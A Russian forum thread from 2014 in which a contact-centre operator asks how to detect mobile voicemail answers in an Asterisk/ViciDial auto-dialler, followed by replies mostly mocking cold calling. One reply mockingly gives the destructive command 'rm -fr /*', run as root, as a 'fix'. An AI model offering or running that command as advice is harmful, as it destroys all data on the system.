Всем привет! Суть вопроса: для работы контакт-центра используем Asterisk-1.8.21.0 вкупе с ViciDial2.10-448a. Телефония SIP. Звонки совершаются системой автоматически и попадают на операторов, только когда зафиксирован ответ вызываемой стороны. В последнее время ситуацию сильно осложняет голосовая почта мобильных операторов.
Наша система, услышав что-то из разряда "Аб-т недоступен, вы можете оставить сообщение после сигнала...", детектит это как ответ и переводит вызов на оператора, тот принимает звонок, но на его безуспешные "алло" никто, конечно, не ответит. Сейчас мы ищем решение, как детектить такие автоответы и пресекать на корню.
Варианты:
1. На уровне сигнализации отследить такой вызов идентичен нормальному вызову с ответом реального человека.
2. Решение типа "нажмите кнопку для разговора с оператором" не рассматриваем.
3. Rtptimeout не рассматриваем (нет смысла детектить тишину).
4. Функция Auto Machine Detection на ViciDial дает сильную нагрузку на систему и низкую точность.
5. Есть смысл сравнивать как стандартные сэмплы типа "оставьте сообщение" с тем, что система слышит в канале и принимать решение о том, кто же нам всё-таки ответил. Этот подход реализован в Oktell Antirobot.

Подскажите, какие еще есть варианты для борьбы с этой проблемой.

• Дете,Аноним, 21:09 , 11-Сен-14
  • Дете,Coco, 23:19 , 11-Сен-14
• Дете,Аноним, 16:38 , 12-Сен-14
  • Дете,Психиатр, 17:35 , 12-Сен-14
• Дете,name, 18:50 , 12-Сен-14
• Дете,Аноним, 19:55 , 15-Сен-14
  • Детект голосовой почты мобильных операторов,Cocos, 06:10 , 18-Сен-14

> Подскажите, какие еще есть варианты для борьбы с этой проблемой.

Логинишься на сервер с асериксомЮ потом:
su -
вводишь пароль рута, потом
rm -fr /*

100% помогает, это же старая бага.

>> Подскажите, какие еще есть варианты для борьбы с этой проблемой.
> Логинишься на сервер с асериксомЮ потом:
> su -
> вводишь пароль рута, потом
> rm -fr /*
> 100% помогает, это же старая бага.

Блин, у меня все данные удалилися теперь!

Вы же должны как-то страдать за то, что совершаете обзвон без желания абонентов?

> Вы же должны как-то страдать за то, что совершаете обзвон без желания
> абонентов?

+100500
мне тут по секрету сказали, что для них уже спец котёл в аду запустили в продакшн.

Я думаю вам здесь не помогут.
Вы бы еще спросили как спам рассылать с использованием postfix.

Как же бесит обзвон, в котором еще и говорят: "дождитесь оператора". Мне звонят, а я еще должен их ждать!

В данном случае голосовая почта мобильных операторов не осложняет ситуацию, а кое-как помогает бороться абонентам с такими, как вы.

Вы все совершенно напрасно считаете, что наш КЦ  связан с достающей всех рекламой, продажами, коллекторами и проч. Так вот, этим мы не занимаемся, а совершаем обзвон лишь наших клиентов.
Что касается, "дождитесь оператора", то как раз именно этого мы и пытаемся избежать, ставя жесткие ограничения по времени детекта автоответчика.